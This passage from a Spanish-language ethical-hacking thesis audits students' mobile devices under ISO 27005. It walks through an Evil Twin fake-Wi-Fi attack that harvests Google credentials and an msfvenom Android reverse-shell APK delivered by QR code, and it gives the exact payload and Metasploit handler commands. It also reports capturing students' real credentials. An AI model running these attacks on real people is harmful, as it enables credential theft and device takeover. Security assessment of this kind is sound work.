guien el proceso de andlisis de riesgos. En este contexto, fue necesario aplicar una metodologia
cualitativa que permitiera identificar las vulnerabilidades mediante una escala de valoracion.

A partir de este enfoque, se resalta la importancia de realizar un andlisis de riesgos basado
en la normativa y documentar los hallazgos en el informe de auditoria, lo que facilita la
priorizacion de acciones de mitigacion para mejorar la seguridad de la informacion, siendo estos
los siguientes:

e Vulnerar los dispositivos moviles de los estudiantes de educacion media superior
mediante un punto de accesos falso para robo de credenciales de Google, con el fin de
valorar el grado de vulnerabilidad

e Vulnerar a los dispositivos moéviles de los estudiantes de educacion media superior
mediante la descarga de malware con un codigo QR ficticio, con el fin de valorar
mediante una escala de riesgo.

3.2.6. Herramientas de hacking ético
El hacking ético implica el uso de técnicas y herramientas similares a las empleadas por

atacantes maliciosos, con el objetivo de identificar y corregir vulnerabilidades en los sistemas de
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informacion, de modo que estas herramientas permiten simular ataques para evaluar la eficacia de
las medidas de seguridad existentes.

Segtn la norma ISO/IEC 27005:2022, apartado 7.2, es fundamental identificar las
vulnerabilidades mediante procesos de evaluacion de riesgos que incluyan la identificacion de
amenazas y vulnerabilidades presentes en los activos de informacion. Esto forma parte esencial
del proceso de evaluacion de riesgos, asegurando que se consideren tanto amenazas internas como
externas.

A continuacion, se describen las herramientas de hacking ético que se emplean en cada uno
de los ataques. La norma ISO/IEC 27005:2022, en la seccion 8.3, sugiere que el tratamiento de
riesgos debe incluir pruebas practicas y la implementacion de controles para identificar debilidades
y evaluar la capacidad de respuesta ante incidentes de seguridad. Esta evaluacion es crucial para
garantizar que los sistemas no solo cumplan con los estdndares de seguridad, sino que también
puedan resistir ataques reales.

a) Herramienta 1: Hostapd (Host Access Point Daemon)

Hostapd es una herramienta diseiada para la configuracion y administracion de puntos de
acceso Wi-Fi, permitiendo al usuario transformar un dispositivo en un punto de acceso
inalambrico. Esta funcionalidad puede ser aprovechada por atacantes para crear puntos de acceso
falsos que imiten redes legitimas, replicando el SSID (Service Set Identifier) en conjunto con las
configuraciones de conexion de la red original, con el fin de engafiar a dispositivos cercanos y
lograr que se conecten de manera inadvertida (Hostapd, 2025). Ademas, su alto nivel de
configurabilidad permite ajustar diversos parametros, tales como el nombre de la red, el canal de
transmision y el tipo de cifrado utilizado, lo que facilita la creacion de réplicas casi indistinguibles

de la red auténtica. Esta capacidad de personalizacion, junto con su robustez operativa, convierte
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a Hostapd en una herramienta eficaz para la suplantacion de redes inalambricas, facilitando ataques
como el Man-in-the-Middle y la captura de credenciales de acceso

b) .Herramienta 2: Dnsmasq

Es una herramienta ligera que combina funcionalidades de servidor DHCP y DNS,
optimizada para redes pequeias y medianas. En el contexto de un ataque Evil Twin, su principal
utilidad radica en la asignacion de direcciones IP a los dispositivos que se conectan al punto de
acceso falso, asi como en la manipulacion y redireccion del trafico DNS (Dnsmasq, 2025).
Especificamente, la herramienta de Dnsmasq puede configurarse para que cualquier solicitud de
un sitio web legitimo sea redirigido a una pagina falsa controlada por el atacante. Esta redireccion
permite al atacante capturar credenciales de autenticacion e informacion sensible cuando los
usuarios, sin percatarse de la suplantacion, intentan ingresar a la red comprometida.

¢) Herramienta 3: Ettercap

Ettercap es una herramienta avanzada de ataque en redes, especializada en la
interceptacion, manipulacion y analisis de trafico mediante técnicas de Man-in-the-Middle
(MitM). Su principal funcionalidad radica en la capacidad de realizar ataques de ARP spoofing,
los cuales permiten redirigir el trafico entre los dispositivos conectados a un punto de acceso falso
hacia el equipo del atacante, sin que las victimas detecten la intrusion (Ettercap, 2025).

Una vez establecido el control del flujo de datos, la herramienta facilita la captura de
credenciales de inicio de sesion, informacion de transacciones y cualquier otro dato sensible
transmitido por los usuarios. Ademas, permite modificar paquetes en tiempo real, lo que amplia el
alcance del ataque al inyectar contenido malicioso o alterar la comunicacion entre las partes.

d) Herramienta 4: Metasploit Framework
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Es una de las herramientas ampliamente utilizadas en pruebas de penetracion y explotacion
de vulnerabilidades en sistemas, lo que conlleva a que su funcionalidad principal incluya la
creacion de aplicaciones maliciosas, como archivos APK comprometidos, utilizando modulos
especificos como msfvenom. Este modulo permite generar ejecutables en los que se incrusta un
payload, es decir, el codigo malicioso disefiado para realizar acciones no autorizadas dentro de un
archivo APK aparentemente legitimo. Una vez que el archivo es instalado en el dispositivo de la
victima, el payload puede ejecutar diversas acciones maliciosas, tales como establecer acceso
remoto al dispositivo, robar credenciales, extraer informacion confidencial o monitorizar las
actividades del usuario sin su consentimiento (Metasploit, 2025).

e) Herramienta 5: Generador de codigos OR

Es una herramienta versatil que permite generar codigos QR validos, facilitando la
conversion de enlaces de descarga en formatos escaneables por dispositivos moviles. Los atacantes
aprovechan esta funcionalidad para crear QRs maliciosos acompafiados de descripciones
atractivas, los cuales son ubicados estratégicamente en carteles publicitarios, correos electronicos
o sitios web ilegitimos (Codigo QR, 2025). Al escanear el cddigo, el usuario es redirigido de forma
automatica a un sitio web controlado por el atacante, donde se descarga el archivo malicioso sin
que la victima detecte la amenaza.

3.3. Etapa 3: Ataque y Verificacion

En esta etapa del desarrollo, se despliegan ataques de fabricacion utilizando herramientas
de hacking ético, con el proposito de proponer buenas practicas para el uso seguro de dispositivos
moviles entre los estudiantes de educacion media superior. A partir de los resultados obtenidos en
la encuesta, se identific6 que la mayoria de los estudiantes de la Unidad Educativa 17 de Julio,

utilizan dispositivos con el sistema operativo Android, especialmente en sus versiones 12y 13, por
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lo que los ataques se enfocaran principalmente en estos dispositivos. Aunque también se incluyen
los dispositivos i1OS con versiones 15 y 16, estos representan una proporciéon menor dentro de los
estudiantes, por lo que los ataques a estos sistemas seran en menor cantidad. El objetivo es
identificar vulnerabilidades significativas en los dispositivos méviles a los que los estudiantes se
conectan, siendo los siguientes los ataques ejecutados:

e Evil Twin: Consiste en la creaciéon de un punto de acceso Wi-Fi falso que imita una red
legitima, con el fin de engafiar a los usuarios y capturar sus credenciales de acceso.

e Ataque deingenieria social mediante codigo QR: Implica la descarga de un archivo APK
malicioso a través de un cddigo QR manipulado. Este ataque permite obtener control
remoto del dispositivo y robar datos confidenciales del usuario.

Estos ataques estan disenados y ejecutados de manera controlada con el fin de evaluar la
seguridad y educar a los estudiantes sobre la importancia de proteger sus dispositivos moviles.
Siguiendo las especificaciones de la norma ISO 27005, particularmente en las secciones 7.2 'y 8.2,
se establece la necesidad de abordar los riesgos identificados mediante su evaluacion y el
tratamiento, de modo que la seccidn se enfoca en la identificacion de riesgos de seguridad de la
informacion, describiendo eventos que pueden comprometer la confidencialidad, integridad y
disponibilidad de la informacion, y asignando responsables para su gestion. Por su parte, la seccion
8.2 detalla la seleccion de opciones de tratamiento de riesgos, incluyendo estrategias como la
mitigacion, la transferencia, la aceptacion o la eliminacion del riesgo.

3.3.1 Escenario del ataque 1

En el escenario del primer ataque se centra en el ataque tipo Evil Twin hacia los estudiantes

de la unidad educativa 17 de julio. Este ataque consiste en la creacion de un punto de acceso Wi-

Fi falso que imita la red legitima de la institucion, enganando a los estudiantes para que se conecten
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de forma inadvertida, como se presenta en la Figura 18 el desarrollo de este escenario de ataque.
Una vez las victimas han establecido conexion, se facilita la interceptacion y captura del trafico de
red, permitiendo el acceso a informacidn sensible, como credenciales de inicio de sesion y datos

personales.

Figura 18

Diagrama de un ataque de Evil Twin

Conexion red fiable i

Victima phishing de sitio

web falso

CIrr——————)

4]

Intercambio de infromacid nﬂl> ((I: :ID . Escaneo de Redes

Hacker AP Falso

a) Descripcion del ataque

El ataque comienza con la ejecucion de la herramienta Evil Trust, la cual debe ser instalada
en un sistema operativo Kali Linux o en sistema operativo compatible con este software. Para
iniciar el ataque, se ejecuta la herramienta mediante la terminal de comandos una vez iniciada la
operacion del software, el siguiente paso consiste en instalar una antena de largo alcance que
permita cambiar su estado a modo monitor, facilitando asi la propagacién de una red y la creacion

de un punto de acceso.
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Con la antena ya instalada, es necesario verificar su correcta integracion en el sistema Kali
Linux para posteriormente en la interfaz grafica de la herramienta, identificar la interfaz
inalambrica afnadida al equipo. Esta interfaz, como se muestra en la Figura 19, es denominada con
el nombre de Wlan0, el cual representa a la interfaz afiadida que es requerida para la ejecucion del
ataque.

Para continuar con el procedimiento indicado por la herramienta, en la Figura 19 se
establece que el software requiere asignar un nombre al punto de acceso. Se sugiere elegir un
nombre que atraiga la atencion de las victimas con el objetivo de que establezcan conexién con
este punto de acceso ilegitimo, en este caso el nombre de la red de este punto de acceso es
denominado como (wifiGratis).

Adicionalmente, la herramienta requiere la configuracion de un canal especifico por el cual
se propagard el punto de acceso. En este escenario, se selecciona el canal 10, ya que ofrece un
equilibrio entre alcance y estabilidad de la sefial, minimizando interferencias con otros dispositivos
cercanos, lo que conlleva a que esta configuracion sea crucial para garantizar que el punto de
acceso falso sea visible para las victimas potenciales y permita la interceptacion del trafico de red

de manera efectiva.
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Figura 19

Seleccion de la antena Externa y nombre para el punto de acceso falso

wlan@

[*] Nombre del punto de acceso a utilizar (Ej: wifiGratis): wifiGratis
[*]

*

Canal a utilizar (1-12): 10

Una vez que el punto de acceso ha sido establecido por parte de la herramienta, el siguiente
paso consiste en verificar su funcionamiento para confirmar que es legitimo y que puede ser
detectado desde cualquier dispositivo, de modo que este proceso de verificacion es realizado
mediante la busqueda de la red creada a través de un dispositivo movil Android, como se muestra
en la Figura 20.

Figura 20

Busqueda de Redes Wifi mediante un dispositivo Android
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Wi-Fi

Wi-Fi
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contrasena

wifiGratis

Ajustes adicionales

La herramienta Evil Trust, a través de su interfaz grafica, proporciona plantillas de paginas
web auténticas que pueden utilizarse para el robo de credenciales en diversas plataformas. En este
escenario, la plantilla de Google es seleccionada, como se muestra en la Figura 21 con el objetivo

de que el software simule una pagina de inicio de sesion legitima de esta plataforma.

Figura 21

Plantilla Punto de Acceso Falso

Plantilla a wtilizar (facebook-login, google-login, ):

Una vez la plantilla ha sido desplegada por parte de la herramienta, automaticamente el
software simula la pagina de inicio de sesion ilegitima de Google, en la cual la victima que

establece conexidn con el punto de acceso e ingresa sus credenciales para continuar con el proceso
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de autenticacion, otorga a la herramienta Evil Trust recopilar en texto plano el correo electronico
y la contrasefia ingresada, como se puede evidenciar en la Figura 22a y Figura 22b.

En algunos casos, la herramienta proporciona informacion adicional, como la direccion IP
y la direccion MAC del dispositivo, dependiendo de como el sistema operativo movil gestione la
privacidad y el resguardo de estos datos. Este procedimiento ilustra la alta efectividad del ataque
al capturar credenciales validas de los usuarios que se conectan al punto de acceso falso.

Al realizar pruebas con los estudiantes, se comprueba que, cuando introducen sus cuentas
de Google junto con sus contrasefias, es posible acceder a sus servicios asociados. Esto demuestra
como los estudiantes de educacion media superior se vuelven mas vulnerables a diferentes ataques

de ingenieria social mediante este tipo de tacticas.

Figura 22

Ataque y Respuesta cuenta Google

Acceder a wifiGratis
n heck gstatic

[*] Esperando credenciales (

Signin
with yous Google Account

Array

(
iCmJ]l_gOOglPE

[password_google]

[hostname ]
e 1
[mac] =
[ip] =
[target] = https://accounts.google.com/signin

a) b)
En conclusion, el robo de credenciales de Google a las victimas que establecieron conexion
con el punto de acceso ilegitimo permite al atacante acceder a informacion personal del usuario,

como correos electronicos, contrasefias, contactos, historial de biisqueda, archivos almacenados en
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Google Drive y datos de ubicacion. Esto implica que la informacion comprometida puede ser
utilizada para diversas actividades maliciosas, tales como el envio de correos electronicos
falsificados, el robo de identidad, efectuar compras fraudulentas y la suplantacion de identidad en
distintas plataformas.
3.3.2 Escenario del ataque 2

El escenario del segundo ataque tiene como propdsito llevar a cabo una intrusion basada
en la distribucidon de una aplicacién maliciosa mediante la descargue e instalacion de un APK
ilegitimo en el dispositivo movil de la victima, lo que conlleva a que el atacante mediante este
software malicioso pueda acceder a la informacion almacenada en este equipo. La Figura 23
muestra el desarrollo del ataque, que comienza desde el escaneo de un codigo QR hasta la descarga
e instalacion del APK malicioso en el dispositivo del estudiante, quien actiia como victima en este
escenario.

El esquema destaca como se utiliza un servidor web para alojar la APK maliciosa y facilitar
su distribucion mediante un enlace incrustado en el codigo QR, de modo que este proceso permita
establecer un canal de comunicacion con el dispositivo comprometido, aprovechando la conexion

de red para acceder a datos sensibles almacenados en el movil de la victima.
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Figura 23

Diagrama de ataque para la instalacion de un apk malicioso mediante un QR

Conexion de red l
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Descripcion del ataque

El ataque comienza con la ejecucion, a través de la consola de Kali Linux, de la herramienta
msfvenom, la cual es utilizada para la generar de la aplicacion ilegitima. Esta herramienta permite
generar un archivo .apk, disefiado para dispositivos Android, el cual contiene una conexion inversa

configurada dentro de la estructura del codigo de la aplicacion.

El proceso inicia como se muestra en la Figura 24 con el comando: msfvenom -p
android/meterpreter/reverse tcp LHOST=192.168.74.41 LPORT=4444 R > malware.apk, donde
-p android/meterpreter/reverse_tcp especifica el payload que crea una sesion de control remoto
mediante una conexidn inversa a través del protocolo TCP; LHOST=192.168.74.41 define la
direccion IP del atacante, que actia como el host receptor de la conexion establecida por el
payload; LPORT=4444 indica el puerto en el que el atacante escucha las conexiones entrantes

desde el dispositivo comprometido; el pardmetro R sefiala que el archivo generado debe ejecutarse
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en modo crudo (raw), sin formato adicional, y finalmente, > malware.apk redirige la salida del

comando para crear el archivo APK malicioso con un nombre atractivo para la victima.

Figura 24

Creacion del archivo apk

|-[~/Downloads/AndroidHacking]
-p android/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=4444 R malware.apk

Una vez que el archivo, apk ha sido generado por parte del software, el proceso contintia
estableciendo el despliegue de la interfaz que gestiona las conexiones inversas de las victimas, que
han instalado la aplicacién maliciosa en su dispositivo mévil. El comando msfconsole -r comandos
inicia la consola de Metasploit y ejecuta automaticamente un archivo llamado "comandos", que
contiene instrucciones predefinidas en lenguaje de Metasploit, como se muestra en la Figura 25.
Dicha interfaz proporciona una herramienta para gestionar la conexion inversa configurada

previamente en el puerto designado.
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Figura 25

Ejecucion Meterpreter

- comandos
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

Una vez la interfaz de gestion sea inicializada, el proceso continlia ejecutando la
herramienta msf6, la cual permite interactuar con la conexion inversa de la aplicacion ya creada.
Para este ataque, se utiliza el médulo exploit/multi/handler, el cual permite gestionar conexiones
entrantes desde payloads o codigos dentro de las aplicaciones maliciosas previamente creadas,
como se observa en la Figura 26. Este modulo trabajara en conjunto con el payload genérico de la

conexion inversa incluido en la aplicacion maliciosa creada con msfvenom.

Figura 26

Ejecucion de Metasploid

ad generic/shell_reverse_tcp

) = I

Durante este proceso, es indispensable configurar la conexion inversa (reverse tcp) con el

host atacante, de modo que esto es realizado mediante el comando set payload
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android/meterpreter/reverse tcp, en donde la sintaxis set es la instruccion para asignar valores
dentro de Metasploit, seguido de payload, que indica que se estd configurando un tipo de carga
maliciosa. Luego, android/meterpreter/reverse tcp especifica un payload disefiado para
dispositivos Android, el cual ejecuta Meterpreter en modo reverse shell a través del protocolo TCP,
permitiendo que el atacante obtenga control remoto del dispositivo cuando este establezca la

conexion con el servidor atacante, como lo muestra el comando del recuadro rojo en la Figura 27.

Figura 27

Payload reverse TCP

msfé > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > yload android/meterpreter/reverse_tcpl

Continuando con el proceso, serd necesario implementar un servidor al que se enviara la
informacion obtenida del dispositivo de la victima, de modo que la herramienta permite
implementar esta funcion mediante el comando set [host 192.168.174.141, como se evidencia en
la Figura 28, En esta sintaxis, sef asigna un valor a una opcion en Metasploit, LHOST es la opcion
que define la direccion IP del atacante (en este caso, 192.168.174.141), que es donde el dispositivo
de la victima enviard la conexion de vuelta cuando ejecute el payload. Esto establece el punto de
contacto para que el atacante reciba la informacion y el control remoto del dispositivo

comprometido.
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Figura 28

Host captura de datos

msfe exploit(

192.168.174.141

Concluyendo con la configuracion en el software de Meterpreter, el proceso final
corresponde en ejecutar el comando run, el cual inicia la escucha y recepcion de la informacion
del host al puerto asignado. Por consiguiente, la aplicacion ilegitima queda lista para su
distribucion y a la vez la conexion inversa queda preparada para activarse en cuanto una victima

instale y ejecute la aplicacion en su dispositivo.

Adicionalmente, para facilitar la distribucion de la aplicacion maliciosa entre los
estudiantes, el uso de herramientas como la generacioén de codigos QR se muestran como métodos
accesibles para que los estudiantes sean atraidos al ataque. Esto se debe a que un QR contendra el
enlace directo para descargar la aplicacion, simulando una fuente legitima o un recurso académico,
lo que aumenta la probabilidad de que los usuarios lo escaneen e instalen el archivo sin sospechar
como se presenta en la Figura 29. Este enfoque aprovecha la comodidad y rapidez con la que los
estudiantes suelen escanear codigos QR sin verificar su origen, aumentando la probabilidad de que

la aplicacion sea instalada.
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Figura 29

Generador QR-Falso

@ QR Code Generator Login
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Una vez que la victima escanea el codigo QR y descarga la aplicacion, el atacante obtendra
acceso remoto al dispositivo mediante la conexion inversa previamente configurada en la
aplicacion generada, lo que permite acceder al dispositivo con la finalidad de ejecutar el robo de
credenciales del usuario comprometido, ademas de obtener acceso a su informacion confidencial
y el control del dispositivo. Cabe destacar que esta técnica no solo expone los datos personales de
las victimas, sino que también compromete la privacidad y seguridad de toda la informacion
almacenada en el dispositivo. Por ende, esta practica demuestra la baja complejidad para llevar
acabo un ataque de este tipo, debido a la falta de precaucion de los usuarios al interactuar con
elementos aparentemente inofensivos, como un codigo QR.

En este sentido, a los estudiantes de educacion media superior se les recomienda enfaticamente
tener cuidado al descargar aplicaciones o escanear codigos QR que no provengan de fuentes
confiables. Es fundamental verificar el origen del enlace antes de abrirlo, lo cual puede hacerse

utilizando una aplicacion de seguridad, como un antivirus, o comprobando si la URL comienza
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con "https://", lo que indica una conexion segura. Ademas, se debe evitar escanear codigos QR que
se encuentren en lugares publicos o que provengan de personas desconocidas. Por consiguiente,
es recomendable instalar aplicaciones unicamente desde tiendas oficiales como Play Store o App
Store, ya que estas plataformas contaban con mecanismos de seguridad que reducian el riesgo de
descargar aplicaciones maliciosas que comprometan la informacién del dispositivo.
3.4. Etapa 4: Generacion de Informes

Esta etapa tiene como finalidad generar un informe de auditoria sobre los dispositivos
analizados, con el objetivo de proponer buenas practicas que reduzcan las vulnerabilidades
explotadas por los ataques Evil Twin y apk malicioso mediante cédigo QR, los cuales han sido
explicados en las secciones 3.3.1 y 3.3.2 respectivamente con el objetivo de obtener informacion
de los estudiantes. Para ello, es necesario evaluar medidas de mitigacion especificas, dirigidas a
fortalecer la seguridad de los dispositivos utilizados por los estudiantes de educacion media
superior.
3.4.1 Informe de Auditoria

El informe de auditoria documentara los riesgos identificados, las pruebas realizadas y las
medidas de mitigacion propuestas. Seglin la norma ISO/IEC 27005, particularmente en la seccion
10.3, denominada Comunicacién y consulta, se enfatiza la importancia de establecer procesos
continuos e iterativos de comunicacion y consulta como parte fundamental de la gestion de riesgos.
Estos procesos aseguran que todas las partes interesadas comprendan los riesgos identificados, las
acciones realizadas y las decisiones adoptadas para su tratamiento, fomentando la transparencia y
la colaboracion en la toma de decisiones. En este sentido, el presente informe se desarrolla
tomando como referencia el informe de auditoria de (JReader, 2024), donde se detallan hallazgos

relevantes y medidas recomendadas. A continuacion, se presenta el informe de auditoria con el
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detalle de los hallazgos y recomendaciones correspondientes. Haga clic o pulse aqui para escribir

texto.

Informe de Auditoria de Ciberseguridad
Fecha: [08/01/2025]
Auditor: Franklin Israel Erazo Vivanco

I Introduccion

El presente informe de auditoria tiene como finalidad identificar y evaluar las
vulnerabilidades presentes en los dispositivos moviles utilizados por los estudiantes de educacion
media superior de la Unidad Educativa 17 de Julio. El enfoque de la auditoria se enmarca en el
estudio mediante el hacking ético, cuyo objetivo es garantizar la seguridad y privacidad de los
datos personales de los estudiantes ante ataques que accedan y recopilen su informaciéon de manera
ilegitima. Este informe sigue los lineamientos establecidos por la norma ISO 27005, la cual

proporciona directrices para la gestion de riesgos de seguridad de la informacion.

En el contexto actual, el creciente uso de dispositivos méviles en el ambito educativo,
especialmente tras la pandemia de COVID-19, ha incrementado la necesidad de asegurar estos
dispositivos contra posibles amenazas, de modo que los estudiantes utilizan estos dispositivos no
solo para acceder a material educativo, sino también para actividades personales, lo que aumenta
el riesgo de exposicion a vulnerabilidades como accesos no autorizados, robo de informacion

sensible y ataques a la privacidad.

Por esta razén, es fundamental implementar estrategias de ciberseguridad que incluyan

buenas practicas, herramientas de proteccion y formacion para los usuarios, con el fin de garantizar
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un entorno digital seguro que permita el desarrollo académico sin comprometer la integridad de

los datos ni la seguridad de los dispositivos.

1) Objetivos

Objetivo General

Identificar y evaluar las vulnerabilidades en dispositivos moviles utilizados por estudiantes

de educacion media superior para mejorar la seguridad y privacidad de los datos personales.

Objetivos Especificos
Estos objetivos estan alineados con la necesidad de crear un entorno educativo seguro y
protegido, que permita a los estudiantes enfocarse en sus estudios sin preocuparse por la seguridad

de sus datos personales, siendo los siguientes:

e Analizar la seguridad de los dispositivos moviles utilizados por los estudiantes,
considerando configuraciones, aplicaciones y practicas de uso.

e Detectar y clasificar las principales vulnerabilidades presentes en estos dispositivos,
incluyendo aquellas relacionadas con software, redes y almacenamiento de datos.

o Evaluar el nivel de riesgo asociado a cada vulnerabilidad identificada, determinando su
impacto potencial en la seguridad y privacidad de los estudiantes.

e Proponer medidas de mitigacion para mejorar la seguridad de los dispositivos moviles.
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11) Metodologia

La auditoria de seguridad se llevo a cabo utilizando técnicas de hacking ético, siguiendo

las etapas recomendadas por la norma ISO 27005 para la gestion de riesgos, las cuales incluyen:

a) Planeacion para la implementacion

La planeacién para la implementacion comienza con la definicion de los objetivos
especificos y el alcance de la auditoria, estableciendo las metas clave y delimitando las areas de
analisis. Como parte de este proceso, se identifican los activos criticos, que en este caso
corresponden a los dispositivos moviles y la informacion que contienen. Ademas, se elabora un
plan de auditoria detallado que incluye las fases del proyecto, las herramientas que se utilizaran y

un cronograma preciso de actividades para garantizar una ejecucion estructurada y eficiente.

b) Descubrimiento para el andlisis

Durante la etapa de descubrimiento, se recopila informacion sobre los dispositivos moviles
utilizados, abarcando aspectos como las caracteristicas de hardware y software, las aplicaciones
instaladas y las configuraciones de seguridad actuales. Paralelamente, se realizan encuestas y
entrevistas a los estudiantes con el objetivo de comprender sus héabitos de uso y las medidas de
seguridad que aplican, lo que permite obtener una vision integral de los posibles puntos débiles en

el entorno educativo.
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c¢) Ataque y verificacion

Estas pruebas incluyen la recopilacion de informacién, el escaneo de sistemas, la
explotacion de vulnerabilidades y el andlisis de persistencia, buscando evaluar de manera realista
las amenazas a las que estan expuestos los dispositivos moviles. Para complementar este proceso,
se utilizan herramientas avanzadas de analisis de seguridad que permiten identificar y verificar
vulnerabilidades, fortaleciendo las recomendaciones para mitigar riesgos y mejorar la seguridad

de los dispositivos.

1V)  Identificacion y Evaluacion de Riesgos

Para la identificacion del riesgo, se realiza evaluaciones de valoracion del nivel de
conocimiento de los estudiantes mediante pruebas a ciegas y pruebas con informacion, ya que en
un inicio la mayoria de los estudiantes carecia de conocimientos en ciberseguridad o a su vez
presentaban deficiencias en la proteccion de su dispositivo movil.

En base al desconocimiento que poseen los estudiantes sobre ciberseguridad, resulta
necesario realizar ataques de hacking ético que permitan evaluar sus niveles de vulnerabilidad que
permitan demostrar las implicaciones reales de no contar con medidas de seguridad adecuadas.
Para ello, herramientas como Kali Linux y Metasploit, posibilitan el despliegue controlado de
escenarios de ataque, de modo que estas herramientas permiten ejecutar dos tipos de ataques
dirigidos, siendo estos:

El primer ataque denominado como Evil Twin consiste en la creacion de un punto de
acceso Wi-Fi falso con el objetivo de capturar credenciales de los estudiantes. Para llevarlo a cabo,
es necesario simular una red Wi-Fi gratuita utilizando la herramienta Evil Trust de Kali Linux y

una interfaz de red inaldmbrica modelo Alfa Network, lo que conlleva a que este punto de acceso
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ilegitimo atrae a un gran nimero de estudiantes que buscan beneficiarse del acceso a internet gratis.
Una vez que establece conexion, el atacante mediante una interfaz de sesion falsa solicita ingresar
sus credenciales de correo electronico, logrando asi la extraccion de estos datos sensibles.

El segundo ataque utiliza ingenieria social a través de codigos QR, disenados para distribuir
una aplicacion maliciosa que permite acceder a informacion confidencial de los dispositivos
comprometidos, de modo que estos QR falsos generan la descarga de una aplicacion que, al
instalarse, activa una conexion inversa del dispositivo de la victima hacia el equipo atacante
mediante Kali Linux. El método funciona en dispositivos con versiones especificas de Android,
permitiendo establecer control remoto y acceder a informacion sensible almacenada, por ende, este
ataque busca evidenciar las vulnerabilidades de los usuarios al confiar en codigos QR
aparentemente legitimos.

V) Andlisis de Riesgos

El objetivo es identificar riesgos a través del analisis de los activos, amenazas y
vulnerabilidades de los estudiantes de educacion media superior de la Unidad Educativa 17 de
Julio. Para ello, se lleva a cabo una tasacion de activos, evaluando su nivel de criticidad en funcion
de la confidencialidad, integridad y disponibilidad de la informacion, conforme a los criterios

establecidos en la norma ISO/IEC 27005.

Ademas, se realiza una identificacion de amenazas, clasificandolas en tecnologicas,
humanas y operacionales, y se determina su posibilidad de ocurrencia utilizando un modelo de
valoracion de riesgos. Posteriormente, se aplica una matriz de evaluacion que permite establecer

la prioridad de cada riesgo y definir estrategias de mitigacion adecuadas. Este enfoque estructurado



94

facilita la toma de decisiones en cuanto a medidas de seguridad, optimizando la proteccion de la

informacion y reduciendo la exposicion de los estudiantes a posibles ataques cibernéticos.

a) Tasacion de activos

Esta actividad destaca la importancia de la seguridad de la informacion para los estudiantes,
analizando su impacto en relacion con la confidencialidad, integridad y disponibilidad de los datos,
Para ello, es necesario la asignacion de un valor segun el grado de impacto que podria tener una

vulneracion de la informacion, tal como se muestra en la Tabla 5.

Un valor de 1 (Muy poco) indica un impacto insignificante, donde una afectacion a los
datos no genera consecuencias relevantes. Un valor de 2 (Poco) representa un impacto bajo, con
afectaciones minimas y sin repercusiones significativas en la seguridad de la informacion. Un valor
de 3 (Medio) sefiala un nivel de riesgo moderado, en el que la vulneracidon podria comprometer
parcialmente la disponibilidad o integridad de los datos. Un valor de 4 (Alto) refleja un impacto
significativo, con potencial para causar pérdidas importantes de informacion o afectar la
operatividad de los sistemas. Finalmente, un valor de 5 (Muy Alto) representa un riesgo critico,
donde una afectacion compromete datos sensibles, expone informacion confidencial o interrumpe

gravemente el funcionamiento del entorno digital de los estudiantes.
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Tabla 5

Valor segun su grado de impacto

Grado de impacto Valor
Muy poco 1
Poco 2
Medio 3
Alto

Muy Alto

Para evaluar los riesgos de ciberseguridad en el entorno de los estudiantes de educacion
media superior, se identifican y clasifican los activos de informacidon mas relevantes, los cuales
representan datos y recursos criticos que podrian verse comprometidos en caso de un ataque o
incidente de seguridad. La seleccion de estos activos se basa en su importancia dentro del
ecosistema digital de los estudiantes, considerando su impacto en términos de confidencialidad,

integridad y disponibilidad (CIA, por sus siglas en inglés).

La clasificacion y valoracion de los activos se llevo a cabo mediante un andlisis realizado
por el equipo de auditoria de seguridad, utilizando criterios predefinidos basados en la norma
ISO/IEC 27005 y en las caracteristicas especificas de cada activo. Para determinar el puntaje

asignado, se consideraron los siguientes aspectos:

e Confidencialidad: Evalua el nivel de sensibilidad de la informacidén contenida en cada

activo y el impacto que tendria su divulgacion no autorizada.
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e Integridad: Analiza el grado en que la modificacion no autorizada de la informacién
podria afectar la fiabilidad de los datos.
e Disponibilidad: Se midi6 la importancia de que la informacién estuviera accesible cuando

fuera requerida.

La evaluacion de cada activo con base en estos pardmetros se presenta en la Tabla 6,
proporcionando una referencia cuantitativa para determinar los niveles de criticidad y definir
estrategias de mitigacion adecuadas. Esta clasificacion fue realizada por el equipo de auditoria de
ciberseguridad, asegurando que las valoraciones reflejen con precision los riesgos asociados a cada

activo.

Tabla 6

Evaluacion de los activos de acuerdo con la confidencialidad, integridad y disponibilidad

Activos de Informacion  Confidencialidad Integridad Disponibilidad  Total

Dispositivos Moviles

4 4 4
Informacién de los
dispositivos 5 5 3
(Contactos, fotos.)
Aplicaciones Instaladas 3 4 4
Datos de acceso a redes 5 5 4
Informacién Académica
4 4 4

(Calificaciones, tareas.)
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Informacién personal

(Nombres, Direcciones) > : )

Contrasefias Almacenadas 5 5 3

Historial de navegacion 4 4 3

Mensajes y Llamadas 5 5 4
Datos de aplicaciones

5 5 4

financieras

Los resultados de la evaluacion reflejan la criticidad de los activos de informacion dentro
del entorno digital de los estudiantes, evidenciando que aquellos con mayor impacto en términos
de confidencialidad, integridad y disponibilidad requieren una atencion prioritaria en la
implementacion de medidas de seguridad. La clasificacion obtenida en la Tabla 6 permite
identificar los activos mas vulnerables, como las credenciales de acceso, los datos financieros y la
informacion personal, los cuales presentan un alto riesgo en caso de una vulneracion, de modo que
esta valoracion sirve como base para disefiar estrategias de proteccion enfocadas en la mitigacion
de riesgos, garantizando la integridad de la informacién y reduciendo la exposicion de los

estudiantes a posibles ataques cibernéticos.

b) Identificacion de amenazas

En el contexto del andlisis de ciberseguridad de los estudiantes de educacion media
superior, se identifican diversas amenazas que pueden comprometer la seguridad de sus activos de
informacion. Estas amenazas se agrupan en tres categorias principales: tecnologicas, humanas y
operacionales, cada una con impactos especificos en la confidencialidad, integridad y

disponibilidad de los datos.
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Las amenazas tecnolédgicas incluyen ataques como el phishing, que busca engaiiar a los
usuarios para que revelen informacion confidencial, y el malware, que compromete la seguridad
del dispositivo al instalar software malicioso. Por otro lado, las amenazas humanas se originan por
el comportamiento de los propios usuarios, como el uso de redes Wi-Fi inseguras o la divulgacion
accidental de credenciales, lo que facilita accesos no autorizados. Finalmente, las amenazas
operacionales estan relacionadas con fallos en la gestion y mantenimiento de los sistemas, como
la falta de actualizaciones en dispositivos y aplicaciones, lo que deja expuestas vulnerabilidades

explotables por atacantes.

¢) Posibilidad de incidencia de amenazas

La evaluacion de la posibilidad de incidencia de cada amenaza permite determinar el nivel
de riesgo asociado a los activos de informacion de los estudiantes. Para ello, se utiliza la escala
